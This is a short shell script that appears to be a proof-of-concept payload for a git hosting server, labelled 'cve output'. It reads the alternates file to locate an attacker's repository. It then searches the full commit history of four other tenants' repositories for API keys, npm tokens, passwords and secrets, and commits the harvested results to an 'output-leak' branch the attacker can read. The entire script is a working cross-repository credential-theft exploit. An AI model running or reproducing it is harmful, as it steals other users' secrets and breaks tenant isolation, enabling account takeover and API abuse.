#!/bin/sh
GD=$(git rev-parse --absolute-git-dir)
REPO=$(head -n1 "$GD/objects/info/alternates" | sed 's|/objects$||')
OUT=$( {
PAT='sk-[A-Za-z0-9_-]{20,}|sk-proj-|sk-ant-|AIza[0-9A-Za-z_-]{35}|gsk_[A-Za-z0-9]{20,}|hf_[A-Za-z0-9]{20,}|xai-[A-Za-z0-9]{20,}|OPENAI_API_KEY|ANTHROPIC_API_KEY|GEMINI_API_KEY|GOOGLE_API_KEY|OPENROUTER|GROQ_API_KEY|HUGGINGFACE|NPM_TOKEN'
for R in csoft/continuum-ui csoft/lv-demo texttomanga/texttomanga-ai-studio texttomangahe/texttomanga-hebrew-ai-manga; do
  p=/data/git/repositories/$R.git
  echo "== $R"
  echo "--meta-files-history--"
  timeout 40 git --git-dir="$p" log -p --all -- .npmrc Jenkinsfile .env .env.example .env.local config.json docker-compose.yml 2>/dev/null | grep -a -E '^[+-].*(_authToken|authToken|npm_|registry=|password|secret|token|OPENAI|ANTHROPIC|GEMINI|API_KEY)' | head -25
  echo "--all-commits-grep--"
  timeout 70 git --git-dir="$p" grep -I -n -E "$PAT" $(git --git-dir="$p" rev-list --all) -- ':!*.map' ':!*.min.js' ':!package-lock.json' ':!yarn.lock' ':!*.svg' 2>/dev/null | head -40
  echo "--rc=$?--"
done
echo DONE

} 2>&1; echo "[rc=$?]")
BLOB=$(printf '%s\n' "$OUT" | git --git-dir="$REPO" hash-object -w --stdin)
TREE=$(printf '100644 blob %s\toutput\n' "$BLOB" | git --git-dir="$REPO" mktree)
CM=$(GIT_AUTHOR_NAME=poc GIT_AUTHOR_EMAIL=poc@example.invalid GIT_COMMITTER_NAME=poc GIT_COMMITTER_EMAIL=poc@example.invalid git --git-dir="$REPO" commit-tree "$TREE" -m "cve output")
git --git-dir="$REPO" update-ref refs/heads/output-leak "$CM"
